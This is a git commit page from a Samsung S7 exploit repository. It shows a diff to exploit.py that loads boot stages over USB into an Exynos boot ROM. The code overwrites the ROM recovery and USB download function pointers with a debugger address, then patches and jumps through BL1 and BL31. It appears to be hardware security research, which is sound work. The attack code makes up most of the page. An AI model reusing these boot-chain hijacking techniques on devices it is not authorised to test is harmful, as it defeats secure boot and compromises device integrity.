EljakimHerrewijnen/Samsung_S7
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Fully booting with ability to patch BL1

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Eljakim Herrewijnen 2024-08-17 12:24:47 +02:00
parent 6bc9156cb6
commit c4fac034a1
1 changed files with 16 additions and 20 deletions
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36
source/exploit/exploit.py
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@ -597,38 +597,34 @@ class ExynosDevice():
# Send boot stage 1
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read())
# self.send_normal_stage(open("../S7/bl1.bin", "rb").read())
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
auth_bl1(DEBUGGER_ADDR)
self.usb_write(b"FLSH") # Flush cache
# hijack rom recovery
# self.relocate_debugger()
# DEBUGGER_ADDR = 0x020c0000
self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # Rom recovery
self.cd.memwrite_region(0x02020f60, p64(DEBUGGER_ADDR))
# BL1 is loaded, now authenticat and patch it
auth_bl1(DEBUGGER_ADDR)
self.usb_write(b"FLSH") # Flush cache
hijacked_fun = u32(self.cd.memdump_region(0x020200dc, 4))
self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31
jump_bl1(DEBUGGER_ADDR)
# At this point BL1 has booted. Next up is BL31
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)) # To continue booting next stages
self.cd.restore_stack_and_jump(hijacked_fun)
time.sleep(2)
self.connect_device()
# After booting bl1, back in debugger.
self.usb_read(0x200) # GiAs
self.cd.memwrite_region(0x02020f60, hijacked_usb_ra)
# Load bl31
self.cd.restore_stack_and_jump(0x00006590)
# self.usb_read(0x200) # GiAs
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.2.bin", "rb").read())
time.sleep(1)
time.sleep(2)
self.connect_device()
time.sleep(1)
### WORKS UNTIL HERE. Unsure where we are in BL31 currently
# Load BL3
# self.usb_read(0x200) # GiAs
# self.cd.restore_stack_and_jump(hijacked_fun)
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read())
time.sleep(2)
self.connect_device()